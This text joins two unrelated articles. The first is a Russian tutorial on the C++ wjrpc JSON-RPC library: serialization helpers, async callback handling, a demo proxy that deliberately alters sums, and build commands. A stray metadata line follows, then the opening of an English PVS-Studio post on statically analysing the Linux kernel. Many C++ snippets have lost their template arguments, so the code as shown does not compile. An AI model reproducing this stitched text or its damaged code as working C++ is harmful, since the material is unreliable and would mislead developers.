К теме интерфейсов еще вернемся, а сейчас продолжим “сокращать” код нашего сервиса. Для того, чтобы асинхронно сериализовать результат, необходимо “захватить” входящий запрос
**например, так**
```
std::shared_ptr ph = std::make\_shared( std::move(inholder) );
calc->plus( std::move(params), [ph, &res\_list](response::plus::ptr result)
{
// Создаем объект результата
wjrpc::outgoing\_result resp;
resp.result = std::move(result);
// инициализируем идентификатор вызова
auto raw\_id = ph->raw\_id();
auto call\_id = std::make\_unique( raw\_id.first, raw\_id.second );
resp.id = std::move(call\_id);
// Сериализуем результат
typedef wjrpc::outgoing\_result\_json result\_json;
typedef wjrpc::outgoing\_result\_json result\_json;
// забираем буфер
auto d = ph->detach();
d->clear();
result\_json::serializer()( resp, std::back\_inserter(d) );
res\_list.push\_back( std::string(d->begin(), d->end()) );
});
```
Т.к. incoming\_holder перемещаемый, то чтобы его “захватить”, перемещаем его в std::shared\_ptr. Здесь показано, как можно забрать у него буфер, но в данном случае это не имеет особого смысла — все равно результат помещаем в список строк. Захват res\_list по ссылке — это только для примера, т.к. знаем, что запрос будет выполнен синхронно.
Мы уже написали шаблонную функцию для сериализации ошибок, сделаем аналогичную для ответов. Но для этого, кроме типа результата, нужно передать его значение и json-описание.
**Универсальный сериализатор ответа на запрос**
```
template
void send\_response(std::shared\_ptr ph, typename ResJ::target::ptr result, std::string& out)
{
typedef ResJ result\_json;
typedef typename result\_json::target result\_type;
wjrpc::outgoing\_result resp;
resp.result = std::move(result);
auto raw\_id = ph->raw\_id();
resp.id = std::make\_unique( raw\_id.first, raw\_id.second );
typedef wjrpc::outgoing\_result\_json response\_json;
typename response\_json::serializer()( resp, std::back\_inserter( out ) );
}
```
Здесь шаблонный параметр нужно указывать явно — это json-описание для структуры ответа, из которого можно взять тип описываемой структуры. С использованием этой функции код для каждого JSON-RPC метода существенно упростится
**Новая версия метода plus**
```
if ( inholder.method() == "plus" )
{
// Ручная обработка
auto params = inholder.get_params(&e);
if ( !e )
{
std::shared\_ptr ph = std::make\_shared( std::move(inholder) );
calc->plus( std::move(params), std::bind( send\_response, ph, std::placeholders::\_1, std::ref(out)) );
}
else
{
make\_error(std::move(inholder), out );
}
}
// else if ( inholder.method() == "minus" ) { ... }
// else if ( inholder.method() == "multiplies" ) { .... }
// else if ( inholder.method() == "divides" ) { .... }
else
{
make\_error(std::move(inholder), out );
}
```
Для каждого метода код сократился до минимума, но и этого мне мало. Получение параметров и проверка на ошибку — тоже однотипный код.
**Сериализация и вызов метода**
```
template<
typename JParams,
typename JResult,
void (icalc::*mem_ptr)(
std::unique_ptr,
std::function< void(std::unique\_ptr) >
)
>
void invoke(wjrpc::incoming\_holder inholder, std::shared\_ptr calc, std::string& out)
{
typedef JParams params\_json;
typedef JResult result\_json;
wjson::json\_error e;
auto params = inholder.get\_params(&e);
if ( !e )
{
std::shared\_ptr ph = std::make\_shared( std::move(inholder) );
(calc.get()->\*mem\_ptr)( std::move(params), std::bind( send\_response, ph, std::placeholders::\_1, std::ref(out) ) );
}
else
{
out = make\_error();
}
}
```
Это уже почти так, как реализовано в wjrpc. В результате код демо примера сократится до минимума (здесь уже можно привести реализацию всех методов)
**Конечный вариант примера с ‘ручной обработкой’**
```
int main()
{
std::vector req\_list =
{
"{\"method\":\"plus\", \"params\":{ \"first\":2, \"second\":3 }, \"id\" :1 }",
"{\"method\":\"minus\", \"params\":{ \"first\":5, \"second\":10 }, \"id\" :1 }",
"{\"method\":\"multiplies\", \"params\":{ \"first\":2, \"second\":2 }, \"id\" :1 }",
"{\"method\":\"divides\", \"params\":{ \"first\":9, \"second\":3 }, \"id\" :1 }"
};
std::vector res\_list;
auto calc = std::make\_shared();
for ( auto& sreq : req\_list )
{
res\_list.push\_back( std::string() );
std::string& out = res\_list.back();
wjrpc::incoming\_holder inholder( sreq );
wjson::json\_error e;
inholder.parse(&e);
if ( e )
{
out = make\_error();
}
else if ( inholder.is\_request() )
{
// Есть имя метода и идентификатор вызова
if ( inholder.method() == "plus" )
{
invoke( std::move(inholder), calc, out );
}
else if ( inholder.method() == "minus" )
{
invoke( std::move(inholder), calc, out );
}
else if ( inholder.method() == "multiplies" )
{
invoke( std::move(inholder), calc, out );
}
else if ( inholder.method() == "divides" )
{
invoke( std::move(inholder), calc, out );
}
else
{
out = make\_error();
}
}
else
{
out = make\_error();
}
}
for ( size\_t i =0; i != res\_list.size(); ++i)
{
std::cout << req\_list[i] << std::endl;
std::cout << res\_list[i] << std::endl;
std::cout << std::endl;
}
}
```
Такое маниакальное желание сократить run-time объем кода обусловлено несколькими причинами. Убирая лишний `if` с помощью достаточно сложной конструкции, мы не только сокращаем объем кода, но и убираем потенциальные места, где программисту будет в радость наговнокодить. А еще программисты любят копипастить, особенно неинтересный код, связанный сериализацией, размазывая его по всему проекту, а то и привнося в другие проекты. Лень — двигатель прогресса, когда она заставляет придумывать человека то, что позволит ему меньше работать. Но не в том случае, когда дела откладываются на потом. Казалось бы, тривиальная проверка, но со словами — это же пока прототип, написание пары строк кода откладывается, потом забывается и одновременно копипастится по всему проекту, а также подхватывается другими программистами.
На самом деле мы еще не начали рассматривать wjrpc. Я показал, как описываются запросы с помощью wjson, описал интерфейс и прикладную логику тестового примера, и рассмотрел, как можно было бы реализовать JSON-RPC вручную, чтобы было понимание, как он работает изнутри и почему. А вот полный пример на wjrpc:
```
#include "calc/calc1.hpp"
#include "calc/api/plus_json.hpp"
#include "calc/api/minus_json.hpp"
#include "calc/api/multiplies_json.hpp"
#include "calc/api/divides_json.hpp"
#include
#include
#include
#include
JSONRPC\_TAG(plus)
JSONRPC\_TAG(minus)
JSONRPC\_TAG(multiplies)
JSONRPC\_TAG(divides)
struct method\_list: wjrpc::method\_list
<
wjrpc::target,
wjrpc::invoke\_method<\_plus\_, request::plus\_json, response::plus\_json, icalc, &icalc::plus>,
wjrpc::invoke\_method<\_minus\_, request::minus\_json, response::minus\_json, icalc, &icalc::minus>,
wjrpc::invoke\_method<\_multiplies\_, request::multiplies\_json, response::multiplies\_json, icalc, &icalc::multiplies>,
wjrpc::invoke\_method<\_divides\_, request::divides\_json, response::divides\_json, icalc, &icalc::divides>
>{};
class handler: public wjrpc::handler {};
int main()
{
std::vector req\_list =
{
"{\"method\":\"plus\", \"params\":{ \"first\":2, \"second\":3 }, \"id\" :1 }",
"{\"method\":\"minus\", \"params\":{ \"first\":5, \"second\":10 }, \"id\" :1 }",
"{\"method\":\"multiplies\", \"params\":{ \"first\":2, \"second\":2 }, \"id\" :1 }",
"{\"method\":\"divides\", \"params\":{ \"first\":9, \"second\":3 }, \"id\" :1 }"
};
std::vector res\_list;
auto calc = std::make\_shared();
handler h;
handler::options\_type opt;
opt.target = calc;
h.start(opt, 1);
for ( auto& sreq : req\_list )
{
h.perform( sreq, [&res\_list](std::string out) { res\_list.push\_back(out);} );
}
for ( size\_t i =0; i != res\_list.size(); ++i)
{
std::cout << req\_list[i] << std::endl;
std::cout << res\_list[i] << std::endl;
std::cout << std::endl;
}
}
```
С помощью JSONRPC\_TAG задаются имена методов для передачи в качестве шаблонных параметров, аналогично JSON*NAME в wjson, разница только в именах сущностей, которые вместо префикса n*, обрамляются символами подчеркивания.
Далее с помощью wjrpc::method\_list и wjrpc::invoke\_method описываем все доступные методы. Список методов передаем в обработчик wjrpc::handler. Наряду с методами в списке был описан тип интерфейса объекта, с которым обработчик будет работать.
Основным методом обработки является perform\_io, который работает с wjrpc::data\_ptr.
**Для строк сделана соответствующая обертка**
```
typedef std::vector data\_type;
typedef std::unique\_ptr data\_ptr;
typedef std::function< void(data\_ptr) > output\_handler\_t;
void perform\_io(data\_ptr d, output\_handler\_t handler) { … }
void perform(std::string str, std::function handler)
{
auto d = std::make\_unique( str.begin(), str.end() );
this->perform\_io( std::move(d), [handler](data\_ptr d)
{
handler( std::string(d->begin(), d->end()) );
});
}
```
Очевидно, что для синхронных серверов асинхронный интерфейс абсолютно не нужен. В этом случае, да и вообще, если не хотите привязываться к интерфейсу, нужно для каждого метода определить обработчик
**например, так**
```
struct plus_handler
{
template
void operator()(T& t, request::plus::ptr req)
{ // обработка уведомления
t.target()->plus( std::move(req), nullptr );
}
template
void operator()(T& t, request::plus::ptr req, Handler handler)
{
// обработка запроса
t.target()->plus( std::move(req), [handler](response::plus::ptr res)
{
if ( res != nullptr )
handler( std::move(res), nullptr );
else
handler( nullptr, std::make\_unique() );
});
}
};
```
**или так**
```
struct plus_handler
{
template
void operator()(T&, request::plus::ptr req)
{
}
template
void operator()(T&, request::plus::ptr req, Handler handler)
{
if (req==nullptr)
{
handler( nullptr, std::make\_unique() );
return;
}
auto res = std::make\_unique();
res->value = req->first + req->second;
handler( std::move(res), nullptr );
}
};
```
Здесь handler обработчик ответа, который первым параметром принимает собственно ответ, а вторым сообщения об ошибке. А t — это ссылка на объект JSON-RPC-обработчика (по аналогии self в python). Включается он в список методов следующим образом:
```
struct method_list: wjrpc::method_list
<
wjrpc::target,
wjrpc::method< wjrpc::name<\_plus\_>, wjrpc::invoke >,
wjrpc::invoke\_method<\_minus\_, request::minus\_json, response::minus\_json, icalc, &icalc::minus>,
wjrpc::invoke\_method<\_multiplies\_, request::multiplies\_json, response::multiplies\_json, icalc, &icalc::multiplies>,
wjrpc::invoke\_method<\_divides\_, request::divides\_json, response::divides\_json, icalc, &icalc::divides>
>{};
```
Как можно догадаться, invoke\_method<> это обертка для wjrpc::method<>, которая использует обработчик метода:
**mem\_fun\_handler**
```
template<
typename Params,
typename Result,
typename I,
void (I::*mem_ptr)(
std::unique_ptr,
std::function< void(std::unique\_ptr) >
)
>
struct mem\_fun\_handler
{
typedef std::unique\_ptr request\_ptr;
typedef std::unique\_ptr responce\_ptr;
typedef std::unique\_ptr< error> json\_error\_ptr;
typedef std::function< void(responce\_ptr, json\_error\_ptr) > jsonrpc\_callback;
template
void operator()(T& t, request\_ptr req) const;
template
void operator()(T& t, request\_ptr req, jsonrpc\_callback cb) const;
};
```
Мы долгое время в своих проектах не использовали асинхронные интерфейсы, да и сама реализация JSON-RPC была несколько проще, но для каждого метода приходилось писать вот такой обработчик, основная задача которого вызвать метод соответствующего класса прикладной логики и отправить ответ.
Но проблема таких обработчиков не в том, что они есть (а ведь можно и без них), а в том, что программисты часто (да почти всегда) начинают переносить туда часть прикладной логики. Абсолютно по разным причинам. Не проработан интерфейс, просто скопипастил откуда-то код, лень подумать и прочее. Зачастую на этапах прототипирования логика не намного сложнее нашего примера. Так зачем плодить сущности, продумывать инициализацию системы и пр? Пару-тройку синглетонов и впендюриваем логику прямо в обработчик. Тем более, не надо думать, как ошибку протаскивать. Потом все это обрастает кодом и потихоньку все забывают, что это прототип, и он уезжает в продакшн. Поддерживать такой код очень тяжело, невозможно покрыть тестами, проще переписать с нуля, чем отрефакторить подобный проект.
В какой-то момент пришла идея “обязать” использовать интерфейсы и стандартизировать их. Благодаря этому появилась возможность сделать обертку типа wjrpc::invoke\_method. На этой концепции построен весь фреймворк, а не только JSON-RPC. Концепция заключается в максимальном ограничении возможностей для “творчества” программисту в слоях, которые не связаны с прикладной логикой.
Если вам не нужна асинхронность, то можно также проработать стандарт интерфейса и написать обертку типа wjrpc::invoke\_method.
**Пример синхронного интерфейса**
```
struct icalc
{
virtual ~icalc() {}
virtual request::plus::ptr plus( request::plus::ptr req) = 0;
virtual request::minus::ptr minus( request::minus::ptr req) = 0;
virtual request::multiplies::ptr multiplies( request::multiplies::ptr req) = 0;
virtual request::divides::ptr divides( request::divides::ptr req) = 0;
};
```
Объект wjrpc::handler<> обычно создается в контексте соединения и имеет такое же время жизни. Если callback, например, нужен объект соединения, чтобы отправить ответ, то нужно поставить защиту на случай, если вызов произойдет после уничтожения объекта.
**В асинхронной среде так делать нельзя**
```
calc->plus( std::move(req), [this](response::plus::ptr) {} );
```
**И так тоже нельзя**
```
std::shared_ptr pthis = this->shared\_from\_this();
calc->plus( std::move(req), [pthis](response::plus::ptr) {} );
```
Второй вариант не подходит, т.к. происходит захват объекта соединения на неопределенное время со всеми ресурсами. Вариант
```
std::weak_ptr wthis = this->shared\_from\_this();
calc->plus( std::move(req), [wthis](response::plus::ptr)
{
if ( auto pthis = wthis.lock() )
{
/\* … \*/
}
} );
```
уже лучше, но мы не можем повторно использовать такой объект (например, для пула объектов). Для идентификации объекта можно использовать умный указатель произвольного типа, который нужно просто пересоздать, чтобы отправленные гулять по системе callback-и стали больше не актуальны.
```
std::weak_ptr w = this->\_p; /\* \_p = std::shared\_ptr(1);\*/
std::weak\_ptr wthis = this->shared\_from\_this();
calc->plus( std::move(req), [wthis, w](response::plus::ptr)
{
if ( auto pthis = wthis.lock() )
{
if ( nullptr == w.lock() )
return;
/\* … \*/
}
} );
```
Для унификации подхода можно разработать вспомогательные классы (нет в wjrpc)
**callback-обертка**
```
template
class owner\_handler
{
public:
typedef std::weak\_ptr weak\_type;
owner\_handler() = default;
owner\_handler(H&& h, weak\_type alive)
: \_handler( std::forward(h) )
, \_alive(alive)
{ }
template
auto operator()(Args&&... args)
-> typename std::result\_of< H(Args&&...) >::type
{
if ( auto p = \_alive.lock() )
{
return \_handler( std::forward(args)... );
}
return typename std::result\_of< H(Args&&...) >::type();
}
private:
H \_handler;
weak\_type \_alive;
};
```
**Владелец (для наследования или агрегации)**
```
class owner
{
public:
typedef std::shared_ptr alive\_type;
typedef std::weak\_ptr weak\_type;
owner()
: \_alive( std::make\_shared(1) )
{ }
owner(const owner& ) = delete;
owner& operator = (const owner& ) = delete;
owner(owner&& ) = default;
owner& operator = (owner&& ) = default;
alive\_type& alive() { return \_alive; }
const alive\_type& alive() const { return \_alive; }
void reset() { \_alive = std::make\_shared(\*\_alive + 1); }
template
owner\_handler::type>
wrap(Handler&& h) const
{
return
owner\_handler<
typename std::remove\_reference::type
>(
std::forward(h),
std::weak\_ptr(\_alive)
);
}
private:
mutable alive\_type \_alive;
};
```
**Пример использования**
```
// owner - базовый класс
std::weak_ptr wthis = this->shared\_from\_this();
calc->plus( std::move(req), this->wrap([wthis](response::plus::ptr)
{
if ( auto pthis = wthis.lock() )
{
/\* … \*/
}
}));
// …
// Сброс состояния объекта
owner::reset(); // неотработанные callback-и больше не сработают
```
Но это еще не все проблемы с функциями обратного вызова. Они должны быть вызваны обязательно и вызваны ровно один раз. Я не буду сейчас на этом подробно останавливаться, просто имейте это в виду. Напомню, что эта библиотека вырвана из фреймворка, и там эти проблемы так или иначе решены. Связываться или нет с асинхронностью, решать вам.
JSON-RPC Engine
---------------
Движок wjrpc::engine – это, по сути, реестр jsonrpc-обработчиков, который позволяет вынести их в отдельный модуль и управлять временем жизни. Например, входящий поток сообщений можно распределить по очередям с разными приоритетами, исходя из имен методов, и только потом передать в wjrpc::engine. Также он используется для реализации удаленных вызовов к другим сервисам. Для входящих запросов объект соединения захватывается callback-ом, который может гулять неопределенно долго по системе, поэтому он не нужен. Но для исходящих запросов нужен wjrpc::engine, чтобы связать сущность, отправившую запрос с обработчиком, чтобы доставить ответ, когда он придет.
Для демонстрации удаленных вызовов сначала разработаем проксирующий объект, который также реализует интерфейс icalc. Это будет такой злобный прокси, который меняет входные и выходные значения для метода plus, инкрементируя их.
**calc/calc\_p.hpp**
```
#pragma once
#include "icalc.hpp"
class calc_p
: public icalc
{
public:
void initialize(std::shared_ptr);
virtual void plus( request::plus::ptr req, response::plus::callback cb) override;
virtual void minus( request::minus::ptr req, response::minus::callback cb) override;
virtual void multiplies( request::multiplies::ptr req, response::multiplies::callback cb) override;
virtual void divides( request::divides::ptr req, response::divides::callback cb) override;
private:
template
bool check\_( ReqPtr& req, Callback& cb);
std::shared\_ptr \_next;
};
```
**calc/calc\_p.cpp**
```
#include "calc_p.hpp"
#include
void calc\_p::initialize(std::shared\_ptr next)
{
\_next = next;
}
void calc\_p::plus( request::plus::ptr req, response::plus::callback cb)
{
if ( !this->check\_(req, cb))
return;
req->first++;
req->second++;
\_next->plus(std::move(req), [cb](response::plus::ptr res)
{
res->value++;
cb(std::move(res) );
});
}
void calc\_p::minus( request::minus::ptr req, response::minus::callback cb)
{
if ( this->check\_(req, cb))
\_next->minus(std::move(req), std::move(cb) );
}
void calc\_p::multiplies( request::multiplies::ptr req, response::multiplies::callback cb)
{
if ( this->check\_(req, cb))
\_next->multiplies(std::move(req), std::move(cb) );
}
void calc\_p::divides( request::divides::ptr req, response::divides::callback cb)
{
if ( this->check\_(req, cb))
\_next->divides(std::move(req), std::move(cb) );
}
template
bool calc\_p::check\_( ReqPtr& req, Callback& cb)
{
if ( cb==nullptr )
return false;
if ( req != nullptr )
return true;
cb(nullptr);
return false;
}
```
Как видно, прокси инициализируется указателем на интерфейс icalc, куда перенаправляет все запросы как есть, кроме метода plus, в котором реализована его “злобность”. Также производится проверка входящих запросов и игнорируются все уведомления и нулевые запросы.
Благодаря асинхронному интерфейсу нашему прокси абсолютно не важно, как будет обработан запрос: синхронно или асинхронно, как придет ответ, тогда он и сделает свои злобные дела. Запрос может быть поставлен в очередь, или может быть выстроена целая цепочка из таких прокси, или этот запрос может быть отправлен на другой сервер.
Для того, чтобы отправить запрос на другой сервер, нам нужно его сериализовать, а для этого опишем JSON-RPC шлюз.
```
JSONRPC_TAG(plus)
JSONRPC_TAG(minus)
JSONRPC_TAG(multiplies)
JSONRPC_TAG(divides)
struct method_list: wjrpc::method_list
<
wjrpc::call_method<_plus_, request::plus_json, response::plus_json>,
wjrpc::call_method<_minus_, request::minus_json, response::minus_json>,
wjrpc::call_method<_multiplies_, request::multiplies_json, response::multiplies_json>,
wjrpc::call_method<_divides_, request::divides_json, response::divides_json, icalc>
>
{};
```
Список методов проще, чем для сервисов, ведь нам не нужно описывать обработчик, а только указать JSON-описания запросов и ответов. Но обработчик исходящих вызовов будет посложнее — в нем нужно будет реализовать интерфейс icalc:
```
class handler
: public ::wjrpc::handler
, public icalc
{
public:
virtual void plus( request::plus::ptr req, response::plus::callback cb) override
{
this->template call<\_plus\_>( std::move(req), cb, nullptr );
}
virtual void minus( request::minus::ptr req, response::minus::callback cb) override
{
this->template call<\_minus\_>( std::move(req), cb, nullptr );
}
virtual void multiplies( request::multiplies::ptr req, response::multiplies::callback cb) override
{
this->template call<\_multiplies\_>( std::move(req), cb, nullptr );
}
virtual void divides( request::divides::ptr req, response::divides::callback cb) override
{
this->template call<\_divides\_>( std::move(req), cb, nullptr );
}
};
```
Реализация каждого метода интерфейса однотипна — нужно вызвать метод call<> с тегом нужного метода, передать туда запрос, обработчик ответа и обработчик ошибки, если необходимо. Обработчик результата осядет в движке до тех пор, пока мы не сообщим ему ответ. Также можно указать время жизни, по истечении которого будет вызван callback с nullptr.
Если в качестве ответа пришла JSON-RPC ошибка, то в callback также будет передан nullptr, что для прикладного кода будет означать, что произошла ошибка, не связанная с прикладной логикой. Пытаться протащить JSON-RPC коды в прикладную часть не очень хорошая идея. Лучше дополнить структуры ответа соответствующими статусами, описывающими ошибки именно прикладной логики.
В качестве примера попробуем связать шлюз, сервис, прокси и собственно калькулятор следующим образом:

Так как наш прокси имеет интерфейс калькулятора, то мы можем с ним работать как с калькулятором, а то, что он делает с запросом, нам не особо важно. Прокси может перенаправить запрос к шлюзу, который также имеет интерфейс калькулятора, поэтому нам не важно, с каким объектом связан прокси. Это может быть еще один прокси, а можно выстроить из них целую цепочку неограниченной длины. Задача шлюза — сериализовать запрос, который мы можем передать по сети. Но в примере мы сразу передадим его на сервис, который его десериализует и, в данном случае, передаст еще одному прокси.
Второй прокси также его модифицирует и уже передает непосредственно калькулятору. Калькулятор его честно отрабатывает и вызывает callback, в котором второй прокси модифицирует ответ и вызывает callback, который пришел от сервиса, который его сериализует. Сериализованный ответ передается JSON-RPC движку, который находит по id вызова соответствующий JSON-RPC обработчик и вызывает его. В нем ответ десериализуется и вызывается callback первого прокси, в котором ответ еще раз модифицируется и передается в наш исходный callback, в котором мы выводим ответ на экран.
**calc/calc\_p.cpp**
```
#include "calc/calc1.hpp"
#include "calc/calc_p.hpp"
#include "calc/api/plus_json.hpp"
#include "calc/api/minus_json.hpp"
#include "calc/api/multiplies_json.hpp"
#include "calc/api/divides_json.hpp"
#include
#include
#include
#include
#include
namespace service
{
JSONRPC\_TAG(plus)
JSONRPC\_TAG(minus)
JSONRPC\_TAG(multiplies)
JSONRPC\_TAG(divides)
struct method\_list: wjrpc::method\_list
<
wjrpc::target,
wjrpc::invoke\_method<\_plus\_, request::plus\_json, response::plus\_json, icalc, &icalc::plus>,
wjrpc::invoke\_method<\_minus\_, request::minus\_json, response::minus\_json, icalc, &icalc::minus>,
wjrpc::invoke\_method<\_multiplies\_, request::multiplies\_json, response::multiplies\_json, icalc, &icalc::multiplies>,
wjrpc::invoke\_method<\_divides\_, request::divides\_json, response::divides\_json, icalc, &icalc::divides>
>{};
class handler: public ::wjrpc::handler {};
typedef wjrpc::engine engine\_type;
}
namespace gateway
{
JSONRPC\_TAG(plus)
JSONRPC\_TAG(minus)
JSONRPC\_TAG(multiplies)
JSONRPC\_TAG(divides)
struct method\_list: wjrpc::method\_list
<
wjrpc::call\_method<\_plus\_, request::plus\_json, response::plus\_json>,
wjrpc::call\_method<\_minus\_, request::minus\_json, response::minus\_json>,
wjrpc::call\_method<\_multiplies\_, request::multiplies\_json, response::multiplies\_json>,
wjrpc::call\_method<\_divides\_, request::divides\_json, response::divides\_json>
>
{};
class handler
: public ::wjrpc::handler
, public icalc
{
public:
virtual void plus( request::plus::ptr req, response::plus::callback cb) override
{
this->template call<\_plus\_>( std::move(req), cb, nullptr );
}
virtual void minus( request::minus::ptr req, response::minus::callback cb) override
{
this->template call<\_minus\_>( std::move(req), cb, nullptr );
}
virtual void multiplies( request::multiplies::ptr req, response::multiplies::callback cb) override
{
this->template call<\_multiplies\_>( std::move(req), cb, nullptr );
}
virtual void divides( request::divides::ptr req, response::divides::callback cb) override
{
this->template call<\_divides\_>( std::move(req), cb, nullptr );
}
};
typedef wjrpc::engine engine\_type;
}
int main()
{
// Прокси N1
auto prx1 = std::make\_shared();
// Шлюз
auto gtw = std::make\_shared();
// Сервис
auto srv = std::make\_shared();
// Прокси N2
auto prx2 = std::make\_shared();
// Калькулятор
auto clc = std::make\_shared();
// Связываем второй прокси с калькулятором
prx2->initialize(clc);
// Связываем сервис со вторым прокси и запускаем сервис
service::engine\_type::options\_type srv\_opt;
srv\_opt.target = prx2;
srv->start(srv\_opt, 11);
// Запускаем шлюз
gateway::engine\_type::options\_type cli\_opt;
gtw->start(cli\_opt, 22);
// Регистрируем обработчик шлюза и связываем его с серивисом
gtw->reg\_io(33, [srv]( wjrpc::data\_ptr d, wjrpc::io\_id\_t /\*io\_id\*/, wjrpc::output\_handler\_t handler)
{
std::cout << " REQUEST: " << std::string( d->begin(), d->end() ) << std::endl;
srv->perform\_io(std::move(d), 44, [handler](wjrpc::data\_ptr d)
{
// Переопределение обработчика для вывода JSON-RPC ответа
std::cout << " RESPONSE: " << std::string( d->begin(), d->end() ) << std::endl;
handler(std::move(d) );
});
});
// Находим зарегистрированный обработчик шлюза по его ID
auto gtwh = gtw->find(33);
// Связываем обработчик шлюза с первым прокси
prx1->initialize(gtwh);
// Вызываем plus через прокси (prx1->gtw->srv->prx2->clc)
auto plus = std::make\_unique();
plus->first = 1;
plus->second = 2;
prx1->plus( std::move(plus), [](response::plus::ptr res)
{
std::cout << "1+2=" << res->value << std::endl;;
});
// Вызываем plus через шлюз (gtw->srv->prx2->clc)
auto minus = std::make\_unique();
minus->first = 4;
minus->second = 3;
gtwh->minus( std::move(minus), [](response::minus::ptr res)
{
std::cout << "4-3=" << res->value << std::endl;;
});
}
```
Результат:
```
REQUEST: {"jsonrpc":"2.0","method":"plus","params":{"first":2,"second":3},"id":1}
RESPONSE: {"jsonrpc":"2.0","result":{"value":8},"id":1}
1+2=9
REQUEST: {"jsonrpc":"2.0","method":"minus","params":{"first":4,"second":3},"id":2}
RESPONSE: {"jsonrpc":"2.0","result":{"value":1},"id":2}
4-3=1
```
Первый прокси инкрементировал параметры запроса первый раз, поэтому получаем в JSON-RPC значения 2 и 3 вместо 1 и 2. Второй прокси их также инкрементирует, а потом инкрементирует результат, поэтому сервис отправляет значение 8. Первый прокси еще раз инкрементирует результат, поэтому финальное значение 9. Второй запрос отправляем напрямую в шлюз, минуя первый прокси, но он проходит через второй, а модификация для munus там не предусмотрена, поэтому в результате правильный ответ.
Все двузначные числа в этом примере — это уникальные идентификаторы сущностей, которые должны быть уникальны и, разумеется, их нужно генерировать, а не прописывать в коде напрямую, например, так:
**create\_id**
```
inline wjrpc::io_id_t create_id()
{
static std::atomic counter( (wjrpc::io\_id\_t(1)) );
return counter.fetch\_add(1);
}
```
Эти идентификаторы служат для связывания сущностей без прямых ссылок на них. Например, в этой строке:
```
gtw->reg_io(33, []( wjrpc::data_ptr, wjrpc::io_id_t, wjrpc::output_handler_t)
```
Мы в JSON-RPC движке шлюза регистрируем обработчик, который должен отправить данные на сервер. Он должен работать с каким-то объектом, клиентом, для некоего сервера, через который мы можем отправить уже сериализованный запрос. Можно сделать несколько параллельных подключений к серверу и зарегистрировать их. Но вместо этого сериализованный запрос передается напрямую на сервис. А число 44 — это идентификатор некоего объекта сервера, который был создан при подключении клиента. Такие коннекты можно также регистрировать в service::engine\_type, но если у нас нет встречных вызовов (когда сервер вызывает метод клиента, а такое в wjrpc тоже можно реализовать), то этого делать не обязательно.
Далее я хотел привести аналогичный пример с взаимодействием между процессами через пайпы(::pipe), с подробным описанием, но думаю, что я вас еще только больше запутаю, да и особо практического смысла это не имеет, а сделать более-менее реалистичный пример взаимодействия двух серверов, со всеми нюансами и чтобы они работали достаточно эффективно, потребует достаточно серьезной кодовой обвязки, к теме статьи отношения не имеющей. Пример построения цепочки процессов с взаимодействием через пайпы есть в разделе examples проекта, также, как и код остальных примеров, приведенных в этой статье.
Но если вы нашли удовлетворительной для себя концепцию сериализации wjson, про которую я писал в предыдущей статье, то в связке wjrpc::incoming\_holder вполне можно сделать эффективный JSON-RPC сервер. Если не вызывает отторжения концепция асинхронных интерфейсов, то с помощью wjrpc::handler вы можете сделать все то же самое, но с меньшим количеством run-time кода.
Скачать [wjrpc](https://github.com/mambaru/wjrpc) можно здесь. Вам также понадобятся [faslib](https://github.com/migashko/faslib) и [wjson](https://github.com/mambaru/wjson). Чтобы скомпилировать примеры и тесты:
```
git clone https://github.com/migashko/faslib.git
git clone https://github.com/mambaru/wjson.git
git clone https://github.com/mambaru/wjrpc.git
# нужно только для компиляции тестов wjrpc
cd faslib
mkdir build
cd build
cmake ..
# собираем примеры и тесты
cd ../../wjrpc
mkdir build
cd build
cmake -DWJRPC_BUILD_ALL=ON ..
make
``` | https://habr.com/ru/post/312994/ | null | ru | null |
# Linux kernel turns 30: congratulations from PVS-Studio
On August 25th, 2021, the Linux kernel celebrated its 30th anniversary. Since then, it's changed a lot. We changed too. Nowadays, the Linux kernel is a huge project used by millions. We checked the kernel 5 years ago. So, we can't miss this event and want to look at the code of this epic project again.
### Introduction
[Last time](https://pvs-studio.com/en/blog/posts/cpp/0460/) we found 7 peculiar errors. It's noteworthy that this time we've found fewer errors!
It seems strange. The kernel size has increased. The PVS-Studio analyzer now has dozens of new diagnostic rules. We've improved internal mechanisms and data flow analysis. Moreover, we introduced intermodular analysis and much more. Why has PVS-Studio found fewer exciting errors?
The answer is simple. The project quality has improved! That's why we are so excited to congratulate Linux on its 30th anniversary.
The project infrastructure was significantly improved. Now you can compile the kernel with GCC and Clang – additional patches are not required. The developers are improving automated code verification systems (kbuild test robot) and other static analysis tools (GCC -fanalyzer was implemented; the Coccinelle analyzer is enhanced, the project is checked through Clang Static Analyzer).
However, we found some errors anyway :). Now we're going to take a look at some really good ones. At least, we consider them "nice and beautiful" :). Moreover, it's better to use static analysis regularly, not once every five years. You won't find anything that way. Learn why it's important to use static analysis regularly in the following article: "[Errors that static code analysis does not find because it is not used](https://pvs-studio.com/en/blog/posts/cpp/0639/)."
First, let's discuss how to run the analyzer.
### Running the analyzer
Since now you can use the Clang compiler to compile the kernel, a special infrastructure was implemented in the project. It includes the compile\_commands.json generator that creates the JSON Compilation Database file from .cmd files generated during the build. So, you need to compile the kernel to create the file. You do not have to use the Clang compiler but it's better to compile the kernel with Clang because GCC may have incompatible flags.
Here's how you can generate the full compile\_commands.json file to check the project:
```
make -j$(nproc) allmodconfig # full config
make -j$(nproc) # compile
./scripts/clang-tools/gen_compile_commands.py
```
Then, you can run the analyzer:
```
pvs-studio-analyzer analyze -f compile_commands.json -a 'GA;OP' -j$(nproc) \
-e drivers/gpu/drm/nouveau/nouveau_bo5039.c \
-e drivers/gpu/drm/nouveau/nv04_fbcon.c
```
Why exclude these 2 files from the analysis? They contain a large number of macros that expand into huge lines of code (up to 50 thousand characters per line). The analyzer processes them for a long time, and the analysis may fail.
The recent PVS-Studio 7.14 release provides [intermodular analysis for C/C++ projects](https://pvs-studio.com/en/blog/posts/cpp/0851/). We could not miss the opportunity to try it out. Moreover, on such a huge code base:
Undoubtedly, the numbers are impressive. The overall project contains almost 30 million lines of code. When we first checked the project in this mode, we failed: when the intermodular information was merged, the RAM was overloaded, and the OOM-killer killed the analyzer process. We researched what happened and came up with a solution. We're going to include this important fix in the PVS-Studio 7.15 release.
To check the project in the intermodular mode, you need to add one flag to the pvs-studio-analyzer command:
```
pvs-studio-analyzer analyze -f compile_commands.json -a 'GA;OP' -j$(nproc) \
--intermodular \
-e drivers/gpu/drm/nouveau/nouveau_bo5039.c \
-e drivers/gpu/drm/nouveau/nv04_fbcon.c
```
After the analysis, we get a report with thousands of warnings. Unfortunately, we didn't have time to configure the analyzer to exclude false positives. We wanted to publish the article right after the Linux kernel birthday. Therefore, we limited ourselves to the 4 exciting errors we found in an hour.
